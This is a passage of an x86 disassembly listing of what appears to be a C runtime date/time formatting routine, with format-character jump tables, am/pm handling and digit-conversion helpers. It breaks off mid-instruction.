--------------------------------------------------------------------------- loc_4302BF: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:00430591o mov eax, dword_4DE30C mov dword_4DE310, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+4] push ecx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_4302E7: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305C5o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_43030C mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_10] mov eax, [edx+98h] push eax call sub_430630 add esp, 0Ch jmp short loc_430326 ; --------------------------------------------------------------------------- loc_43030C: ; CODE XREF: sub_430010+2DEj mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_10] mov ecx, [eax+9Ch] push ecx call sub_430630 add esp, 0Ch loc_430326: ; CODE XREF: sub_430010+2FAj jmp loc_430578 ; --------------------------------------------------------------------------- loc_43032B: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:00430595o mov edx, dword_4DE30C mov dword_4DE310, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+arg_4] mov eax, [edx] push eax call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_430354: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:00430599o mov ecx, dword_4DE30C mov dword_4DE310, ecx mov edx, [ebp+arg_4] mov eax, [edx+18h] mov [ebp+var_8], eax jmp short loc_4303BD ; --------------------------------------------------------------------------- loc_43036B: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305C9o mov ecx, dword_4DE30C mov dword_4DE310, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 1 mov ecx, [ebp+arg_4] mov edx, [ecx+18h] push edx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_430395: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:0043059Do mov eax, dword_4DE30C mov dword_4DE310, eax mov ecx, [ebp+arg_4] cmp dword ptr [ecx+18h], 0 jnz short loc_4303B1 mov [ebp+var_8], 6 jmp short loc_4303BD ; --------------------------------------------------------------------------- loc_4303B1: ; CODE XREF: sub_430010+396j mov edx, [ebp+arg_4] mov eax, [edx+18h] sub eax, 1 mov [ebp+var_8], eax loc_4303BD: ; CODE XREF: sub_430010+359j ; sub_430010+39Fj mov ecx, [ebp+arg_4] mov edx, [ecx+1Ch] cmp edx, [ebp+var_8] jge short loc_4303D1 mov [ebp+var_4], 0 jmp short loc_4303FE ; --------------------------------------------------------------------------- loc_4303D1: ; CODE XREF: sub_430010+3B6j mov eax, [ebp+arg_4] mov eax, [eax+1Ch] cdq mov ecx, 7 idiv ecx mov [ebp+var_4], eax mov edx, [ebp+arg_4] mov eax, [edx+1Ch] cdq mov ecx, 7 idiv ecx cmp edx, [ebp+var_8] jl short loc_4303FE mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_4303FE: ; CODE XREF: sub_430010+3BFj ; sub_430010+3E3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 2 mov edx, [ebp+var_4] push edx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_430419: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305CDo cmp dword_4DE30C, 0 jz short loc_430450 mov dword_4DE30C, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A4h] push edx call sub_4307E0 add esp, 14h jmp short loc_430472 ; --------------------------------------------------------------------------- loc_430450: ; CODE XREF: sub_430010+410j mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A0h] push edx call sub_4307E0 add esp, 14h loc_430472: ; CODE XREF: sub_430010+43Ej jmp loc_430578 ; --------------------------------------------------------------------------- loc_430477: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305A1o mov dword_4DE30C, 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_10] mov edx, [ecx+0A8h] push edx call sub_4307E0 add esp, 14h jmp loc_430578 ; --------------------------------------------------------------------------- loc_4304A8: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305D1o mov eax, dword_4DE30C mov dword_4DE310, eax mov ecx, [ebp+arg_4] mov eax, [ecx+14h] cdq mov ecx, 64h idiv ecx mov [ebp+var_4], edx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_4304DE: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305A5o mov edx, dword_4DE30C mov dword_4DE310, edx mov eax, [ebp+arg_4] mov eax, [eax+14h] cdq mov ecx, 64h idiv ecx mov ecx, eax add ecx, 13h imul ecx, 64h mov edx, [ebp+arg_4] mov eax, [edx+14h] cdq mov esi, 64h idiv esi add ecx, edx mov [ebp+var_4], ecx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 4 mov edx, [ebp+var_4] push edx call sub_430680 add esp, 10h jmp short loc_430578 ; --------------------------------------------------------------------------- loc_43052B: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305A9o call sub_431A50 mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] xor eax, eax cmp dword ptr [edx+20h], 0 setnz al mov ecx, off_44842C[eax*4] push ecx call sub_430630 add esp, 0Ch jmp short loc_430578 ; --------------------------------------------------------------------------- loc_430556: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:off_43057Do mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 25h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_430578: ; CODE XREF: sub_430010+1Bj ; sub_430010+2Cj ... pop esi mov esp, ebp pop ebp retn sub_430010 endp ; --------------------------------------------------------------------------- off_43057D dd offset loc_430556 ; DATA XREF: sub_430010+2Cr dd offset loc_430065 dd offset loc_4300AB dd offset loc_4301F8 dd offset loc_430220 dd offset loc_4302BF dd offset loc_43032B dd offset loc_430354 dd offset loc_430395 dd offset loc_430477 dd offset loc_4304DE dd offset loc_43052B dd offset loc_430043 dd offset loc_430088 dd offset loc_4300CE dd offset loc_4301CE dd offset loc_430265 dd offset loc_430292 dd offset loc_4302E7 dd offset loc_43036B dd offset loc_430419 dd offset loc_4304A8 dd offset loc_430578 byte_4305D9 db 0 ; DATA XREF: sub_430010+26r dw 1616h dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h dd 0CC0B1514h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430630 proc near ; CODE XREF: sub_430010:loc_430058p ; sub_430010+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp loc_430633: ; CODE XREF: sub_430630+44j mov eax, [ebp+arg_8] cmp dword ptr [eax], 0 jz short loc_430676 mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] test edx, edx jz short loc_430676 mov eax, [ebp+arg_4] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_4] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_4] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax jmp short loc_430633 ; --------------------------------------------------------------------------- loc_430676: ; CODE XREF: sub_430630+9j ; sub_430630+13j pop ebp retn sub_430630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430680 proc near ; CODE XREF: sub_430010+1DBp ; sub_430010+203p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 cmp dword_4DE310, 0 jz short loc_4306AA mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_430730 add esp, 0Ch jmp short loc_430729 ; --------------------------------------------------------------------------- loc_4306AA: ; CODE XREF: sub_430680+12j mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] cmp ecx, [eax] jnb short loc_430720 mov edx, [ebp+arg_4] sub edx, 1 mov [ebp+arg_4], edx jmp short loc_4306C8 ; --------------------------------------------------------------------------- loc_4306BF: ; CODE XREF: sub_430680+82j mov eax, [ebp+arg_4] sub eax, 1 mov [ebp+arg_4], eax loc_4306C8: ; CODE XREF: sub_430680+3Dj mov ecx, [ebp+arg_4] add ecx, 1 test ecx, ecx jz short loc_430704 mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+arg_8] mov ecx, [eax] mov eax, [ebp+arg_4] mov [ecx+eax], dl mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_4306BF ; --------------------------------------------------------------------------- loc_430704: ; CODE XREF: sub_430680+50j mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, [ebp+var_4] mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, [ebp+var_4] mov edx, [ebp+arg_C] mov [edx], ecx jmp short loc_430729 ; --------------------------------------------------------------------------- loc_430720: ; CODE XREF: sub_430680+32j mov eax, [ebp+arg_C] mov dword ptr [eax], 0 loc_430729: ; CODE XREF: sub_430680+28j ; sub_430680+9Ej mov esp, ebp pop ebp retn sub_430680 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430730 proc near ; CODE XREF: sub_430680+20p var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 jbe short loc_43078B loc_430746: ; CODE XREF: sub_430730+59j mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_8] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_0] cdq mov ecx, 0Ah idiv ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jle short loc_43078B mov edx, [ebp+arg_8] cmp dword ptr [edx], 1 ja short loc_430746 loc_43078B: ; CODE XREF: sub_430730+14j ; sub_430730+51j mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_8], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4307A4: ; CODE XREF: sub_430730+A6j mov edx, [ebp+var_4] mov al, [edx] mov [ebp+var_C], al mov ecx, [ebp+var_4] mov edx, [ebp+var_8] mov al, [edx] mov [ecx], al mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_8] mov al, [ebp+var_C] mov [edx], al mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jb short loc_4307A4 mov esp, ebp pop ebp retn sub_430730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4307E0 proc near ; CODE XREF: sub_430010+EBp ; sub_430010+13Cp ... var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 30h loc_4307E6: ; CODE XREF: sub_4307E0+2EAj ; sub_4307E0:loc_430BABj ... mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_430C5C mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_430C5C mov [ebp+var_8], 0 mov dword_4DE310, 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_430826 ; --------------------------------------------------------------------------- loc_43081D: ; CODE XREF: sub_4307E0+5Fj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_430826: ; CODE XREF: sub_4307E0+3Bj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx cmp eax, edx jnz short loc_430841 jmp short loc_43081D ; --------------------------------------------------------------------------- loc_430841: ; CODE XREF: sub_4307E0+5Dj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov [ebp+var_14], ecx mov edx, [ebp+var_14] sub edx, 27h mov [ebp+var_14], edx cmp [ebp+var_14], 52h ja loc_430BB0 mov ecx, [ebp+var_14] xor eax, eax mov al, byte_430C8C[ecx] jmp off_430C60[eax*4] loc_430878: ; DATA XREF: .data:00430C6Co mov edx, [ebp+var_C] mov [ebp+var_18], edx mov eax, [ebp+var_18] sub eax, 1 mov [ebp+var_18], eax cmp [ebp+var_18], 3 ja short loc_4308B1 mov ecx, [ebp+var_18] jmp off_430CDF[ecx*4] loc_430897: ; DATA XREF: .data:off_430CDFo mov dword_4DE310, 1 loc_4308A1: ; CODE XREF: sub_4307E0+B0j ; DATA XREF: .data:00430CE3o mov [ebp+var_8], 6Dh jmp short loc_4308B1 ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_4307E0+B0j ; DATA XREF: .data:00430CE7o mov [ebp+var_8], 62h jmp short loc_4308B1 ; --------------------------------------------------------------------------- loc_4308AD: ; CODE XREF: sub_4307E0+B0j ; DATA XREF: .data:00430CEBo mov [ebp+var_8], 42h loc_4308B1: ; CODE XREF: sub_4307E0+ABj ; sub_4307E0+C5j ... jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_4308B6: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C70o mov edx, [ebp+var_C] mov [ebp+var_1C], edx mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax cmp [ebp+var_1C], 3 ja short loc_4308EF mov ecx, [ebp+var_1C] jmp off_430CEF[ecx*4] loc_4308D5: ; CODE XREF: sub_4307E0+B0j ; DATA XREF: .data:off_430CEFo mov dword_4DE310, 1 loc_4308DF: ; CODE XREF: sub_4307E0+B0j ; sub_4307E0+EEj ; DATA XREF: ... mov [ebp+var_8], 64h jmp short loc_4308EF ; --------------------------------------------------------------------------- loc_4308E5: ; CODE XREF: sub_4307E0+B0j ; sub_4307E0+EEj ; DATA XREF: ... mov [ebp+var_8], 61h jmp short loc_4308EF ; --------------------------------------------------------------------------- loc_4308EB: ; CODE XREF: sub_4307E0+B0j ; sub_4307E0+EEj ; DATA XREF: ... mov [ebp+var_8], 41h loc_4308EF: ; CODE XREF: sub_4307E0+E9j ; sub_4307E0+103j ... jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_4308F4: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C84o mov edx, [ebp+var_C] mov [ebp+var_20], edx cmp [ebp+var_20], 2 jz short loc_430908 cmp [ebp+var_20], 4 jz short loc_43090E jmp short loc_430912 ; --------------------------------------------------------------------------- loc_430908: ; CODE XREF: sub_4307E0+11Ej mov [ebp+var_8], 79h jmp short loc_430912 ; --------------------------------------------------------------------------- loc_43090E: ; CODE XREF: sub_4307E0+124j mov [ebp+var_8], 59h loc_430912: ; CODE XREF: sub_4307E0+126j ; sub_4307E0+12Cj jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_430917: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C74o mov eax, [ebp+var_C] mov [ebp+var_24], eax cmp [ebp+var_24], 1 jz short loc_43092B cmp [ebp+var_24], 2 jz short loc_430935 jmp short loc_430939 ; --------------------------------------------------------------------------- loc_43092B: ; CODE XREF: sub_4307E0+141j mov dword_4DE310, 1 loc_430935: ; CODE XREF: sub_4307E0+147j mov [ebp+var_8], 49h loc_430939: ; CODE XREF: sub_4307E0+149j jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_43093E: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C68o mov ecx, [ebp+var_C] mov [ebp+var_28], ecx cmp [ebp+var_28], 1 jz short loc_430952 cmp [ebp+var_28], 2 jz short loc_43095C jmp short loc_430960 ; --------------------------------------------------------------------------- loc_430952: ; CODE XREF: sub_4307E0+168j mov dword_4DE310, 1 loc_43095C: ; CODE XREF: sub_4307E0+16Ej mov [ebp+var_8], 48h loc_430960: ; CODE XREF: sub_4307E0+170j jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_430965: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C78o mov edx, [ebp+var_C] mov [ebp+var_2C], edx cmp [ebp+var_2C], 1 jz short loc_430979 cmp [ebp+var_2C], 2 jz short loc_430983 jmp short loc_430987 ; --------------------------------------------------------------------------- loc_430979: ; CODE XREF: sub_4307E0+18Fj mov dword_4DE310, 1 loc_430983: ; CODE XREF: sub_4307E0+195j mov [ebp+var_8], 4Dh loc_430987: ; CODE XREF: sub_4307E0+197j jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_43098C: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C7Co mov eax, [ebp+var_C] mov [ebp+var_30], eax cmp [ebp+var_30], 1 jz short loc_4309A0 cmp [ebp+var_30], 2 jz short loc_4309AA jmp short loc_4309AE ; --------------------------------------------------------------------------- loc_4309A0: ; CODE XREF: sub_4307E0+1B6j mov dword_4DE310, 1 loc_4309AA: ; CODE XREF: sub_4307E0+1BCj mov [ebp+var_8], 53h loc_4309AE: ; CODE XREF: sub_4307E0+1BEj jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_4309B3: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C64o push offset aAmPm ; "am/pm" mov ecx, [ebp+arg_0] push ecx call sub_431210 add esp, 8 test eax, eax jnz short loc_4309D3 mov edx, [ebp+arg_0] add edx, 5 mov [ebp+var_4], edx jmp short loc_4309F1 ; --------------------------------------------------------------------------- loc_4309D3: ; CODE XREF: sub_4307E0+1E6j push offset aAP ; "a/p" mov eax, [ebp+arg_0] push eax call sub_431210 add esp, 8 test eax, eax jnz short loc_4309F1 mov ecx, [ebp+arg_0] add ecx, 3 mov [ebp+var_4], ecx loc_4309F1: ; CODE XREF: sub_4307E0+1F1j ; sub_4307E0+206j mov [ebp+var_8], 70h jmp loc_430BB0 ; --------------------------------------------------------------------------- loc_4309FA: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:00430C80o mov edx, [ebp+arg_4] cmp dword ptr [edx+8], 0Bh jg short loc_430A11 mov eax, [ebp+arg_10] mov ecx, [eax+98h] mov [ebp+var_10], ecx jmp short loc_430A1D ; --------------------------------------------------------------------------- loc_430A11: ; CODE XREF: sub_4307E0+221j mov edx, [ebp+arg_10] mov eax, [edx+9Ch] mov [ebp+var_10], eax loc_430A1D: ; CODE XREF: sub_4307E0+22Fj ; sub_4307E0+2DFj cmp [ebp+var_C], 0 jle loc_430AC4 mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jbe loc_430AC4 mov edx, [ebp+var_10] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_430A87 mov eax, [ebp+arg_C] cmp dword ptr [eax], 1 jbe short loc_430A87 mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+var_10] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx loc_430A87: ; CODE XREF: sub_4307E0+26Ej ; sub_4307E0+276j mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+var_10] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx jmp loc_430A1D ; --------------------------------------------------------------------------- loc_430AC4: ; CODE XREF: sub_4307E0+241j ; sub_4307E0+24Dj mov eax, [ebp+var_4] mov [ebp+arg_0], eax jmp loc_4307E6 ; --------------------------------------------------------------------------- loc_430ACF: ; CODE XREF: sub_4307E0+91j ; DATA XREF: .data:off_430C60o mov ecx, [ebp+var_C] and ecx, 1 test ecx, ecx jz loc_430BA2 mov edx, [ebp+arg_0] add edx, [ebp+var_C] mov [ebp+arg_0], edx loc_430AE6: ; CODE XREF: sub_4307E0+3BBj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz loc_430BA0 mov edx, [ebp+arg_C] cmp dword ptr [edx], 0 jz loc_430BA0 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 27h jnz short loc_430B19 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp loc_430BA0 ; --------------------------------------------------------------------------- loc_430B19: ; CODE XREF: sub_4307E0+329j mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] mov edx, off_447274 xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_430B6C mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 1 jbe short loc_430B6C mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_430B6C: ; CODE XREF: sub_4307E0+353j ; sub_4307E0+35Bj mov ecx, [ebp+arg_8] mov edx, [ecx] mov eax, [ebp+arg_0] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_8] mov [ecx], eax mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_C] mov ecx, [eax] sub ecx, 1 mov edx, [ebp+arg_C] mov [edx], ecx jmp loc_430AE6 ; --------------------------------------------------------------------------- loc_430BA0: ; CODE XREF: sub_4307E0+30Ej ; sub_4307E0+31Aj ... jmp short loc_430BAB ; --------------------------------------------------------------------------- loc_430BA2: ; CODE XREF: sub_4307E0+2F7j mov eax, [ebp+arg_0] add eax, [ebp+var_C] mov [ebp+arg_0], eax loc_430BAB: ; CODE XREF: sub_4307E0:loc_430BA0j jmp loc_4307E6 ; --------------------------------------------------------------------------- loc_430BB0: ; CODE XREF: sub_4307E0+80j ; sub_4307E0+91j ... movsx ecx, [ebp+var_8] test ecx, ecx jz short loc_430BDC mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov al, [ebp+var_8] push eax call sub_430010 add esp, 14h mov ecx, [ebp+var_4] mov [ebp+arg_0], ecx jmp short loc_430C57 ; --------------------------------------------------------------------------- loc_430BDC: ; CODE XREF: sub_4307E0+3D6j mov edx, [ebp+arg_0] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_430C28 mov eax, [ebp+arg_8] mov ecx, [eax] mov edx, [ebp+arg_0] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_C] mov eax, [edx] sub eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_430C28: ; CODE XREF: sub_4307E0+417j mov edx, [ebp+arg_8] mov eax, [edx] mov ecx, [ebp+arg_0] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_8] mov [edx], ecx mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx loc_430C57: ; CODE XREF: sub_4307E0+3FAj jmp loc_4307E6 ; --------------------------------------------------------------------------- loc_430C5C: ; CODE XREF: sub_4307E0+Ej ; sub_4307E0+1Aj mov esp, ebp pop ebp retn sub_4307E0 endp ; --------------------------------------------------------------------------- off_430C60 dd offset loc_430ACF ; DATA XREF: sub_4307E0+91r dd offset loc_4309B3 dd offset loc_43093E dd offset loc_430878 dd offset loc_4308B6 dd offset loc_430917 dd offset loc_430965 dd offset loc_43098C dd offset loc_4309FA dd offset loc_4308F4 dd offset loc_430BB0 byte_430C8C db 0 ; DATA XREF: sub_4307E0+8Br db 3 dup(0Ah) dd 5 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A0A0Ah, 0A0A020Ah, 0A030A0Ah dd 4 dup(0A0A0A0Ah), 0A010A0Ah, 0A0A040Ah, 0A0A050Ah, 0A060A0Ah dd 0A0A0A0Ah, 0A0A0807h db 2 dup(0Ah), 9 off_430CDF dd offset loc_430897 ; DATA XREF: sub_4307E0+B0r dd offset loc_4308A1 dd offset loc_4308A7 dd offset loc_4308AD off_430CEF dd offset loc_4308D5 ; DATA XREF: sub_4307E0+EEr dd offset loc_4308DF dd offset loc_4308E5 dd offset loc_4308EB align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430D00 proc near ; CODE XREF: sub_42BE50+41p ; sub_42BE50+60p ... var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0A8h cmp [ebp+arg_0], 1 jnz loc_430E69 mov eax, [ebp+arg_C] mov [ebp+var_90], eax lea ecx, [ebp+var_8C] mov [ebp+var_C], ecx mov [ebp+var_4], 0 mov [ebp+var_94], 80h push 0 mov edx, [ebp+var_94] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx call sub_432530 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz loc_430DEF call dword_4E0350 ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_430D70 jmp loc_430E4D ; --------------------------------------------------------------------------- loc_430D70: ; CODE XREF: sub_430D00+69j push 0 push 0 push 0 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_432530 add esp, 14h mov [ebp+var_94], eax cmp [ebp+var_94], 0 jnz short loc_430D9A jmp loc_430E4D ; --------------------------------------------------------------------------- loc_430D9A: ; CODE XREF: sub_430D00+93j push 58h push offset aInithelp_c ; "inithelp.c" push 2 mov edx, [ebp+var_94] push edx call sub_4150C0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_430DC0 jmp loc_430E4D ; --------------------------------------------------------------------------- loc_430DC0: ; CODE XREF: sub_430D00+B9j mov [ebp+var_4], 1 push 0 mov eax, [ebp+var_94] push eax mov ecx, [ebp+var_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, 